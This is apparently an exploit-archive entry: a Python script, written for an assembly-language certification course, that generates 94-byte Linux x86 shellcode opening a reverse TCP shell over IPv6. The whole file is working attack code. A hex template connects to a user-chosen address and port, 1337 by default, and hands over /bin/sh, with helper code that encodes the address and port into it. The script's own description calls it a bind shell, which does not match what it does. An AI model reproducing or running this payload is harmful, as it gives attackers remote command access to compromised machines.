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Linux/x86 - IPv6 Reverse TCP Shellcode Generator (94 bytes)
#!/usr/bin/env python3 # Exploit Title: Linux x86 IPv6 Reverse TCP Shellcode Generator (94 bytes) # Shellcode Author: Kevin Kirsche # Shellcode Repository: https://github.com/kkirsche/SLAE/tree/master/assignment_2-reverse_shell # Tested on: Shell on Ubuntu 18.04 with gcc 7.3.0 / Connecting to Kali 2018.2 # This shellcode will connect to fd15:4ba5:5a2b:1002:61b7:23a9:ad3d:5509 on port 1337 and give you /bin/sh #This shellcode has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: #http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ #Student ID: SLAE-1134 from argparse import ArgumentParser from ipaddress import ip_address import sys sc = ("\\x31\\xdb\\x53\\x43\\x53\\x6a\\x0a\\x89\\xe1\\x6a\\x66\\x58\\xcd\\x80" "\\x96\\x99\\x52\\x68{ipv6_fourth_octet}\\x68{ipv6_third_octet}\\x68" "{ipv6_second_octet}\\x68{ipv6_first_octet}\\x52\\x66\\x68{port}" "\\x66\\x6a\\x0a\\x89\\xe1\\x6a\\x1c\\x51\\x56\\x89\\xe1\\x43\\x43\\x6a" "\\x66\\x58\\xcd\\x80\\x87\\xde\\x29\\xc9\\xb1\\x02\\xb0\\x3f\\xcd\\x80" "\\x49\\x79\\xf9\\x31\\xd2\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62" "\\x69\\x6e\\x89\\xd1\\x89\\xe3\\xb0\\x0b\\xcd\\x80") if __name__ == '__main__': parser = ArgumentParser(description=("Dual Network Stack Bind Shell " "Generator")) parser.add_argument('ip_address', type=str, nargs='?', default='fd15:4ba5:5a2b:1002:61b7:23a9:ad3d:5509', help='The IP address to connect to (default fd15:4ba5:5a2b:1002:61b7:23a9:ad3d:5509)') parser.add_argument('port', type=int, nargs='?', default=1337, help='The port to connect to (default 1337)') args = parser.parse_args() ip = ip_address(args.ip_address) ip_hex = ip.exploded if args.port < 1 or args.port > 65535: print('Invalid port. Please select a port between 1 and 65535') sys.exit(1) port = format(args.port, '04x') port = "\\x{b}\\x{a}".format( a=port[2:4], b=port[0:2]) split_hex_ip = ip_hex.split(':') ipv6_fourth_octet = '\\x{d}\\x{c}\\x{b}\\x{a}'.format( d=split_hex_ip[6][0:2], c=split_hex_ip[6][2:4], b=split_hex_ip[7][0:2], a=split_hex_ip[7][2:4]) ipv6_third_octet = '\\x{d}\\x{c}\\x{b}\\x{a}'.format( d=split_hex_ip[4][0:2], c=split_hex_ip[4][2:4], b=split_hex_ip[5][0:2], a=split_hex_ip[5][2:4]) ipv6_second_octet = '\\x{d}\\x{c}\\x{b}\\x{a}'.format( d=split_hex_ip[2][0:2], c=split_hex_ip[2][2:4], b=split_hex_ip[3][0:2], a=split_hex_ip[3][2:4]) ipv6_first_octet = '\\x{d}\\x{c}\\x{b}\\x{a}'.format( d=split_hex_ip[0][0:2], c=split_hex_ip[0][2:4], b=split_hex_ip[1][0:2], a=split_hex_ip[1][2:4]) if '\\x00' in port: print('[!] Warning: The port you chose contains a null value.') if (('\\x00' in ipv6_fourth_octet) or ('\\x00' in ipv6_third_octet) or ('\\x00' in ipv6_second_octet) or ('\\x00' in ipv6_first_octet)): print('[!] Warning: The IP address you chose contains a null value.') print('Shellcode:') print(sc.format( ipv6_first_octet=str(ipv6_first_octet), ipv6_second_octet=str(ipv6_second_octet), ipv6_third_octet=str(ipv6_third_octet), ipv6_fourth_octet=str(ipv6_fourth_octet), port=str(port))) # 0day.today [2024-09-29] #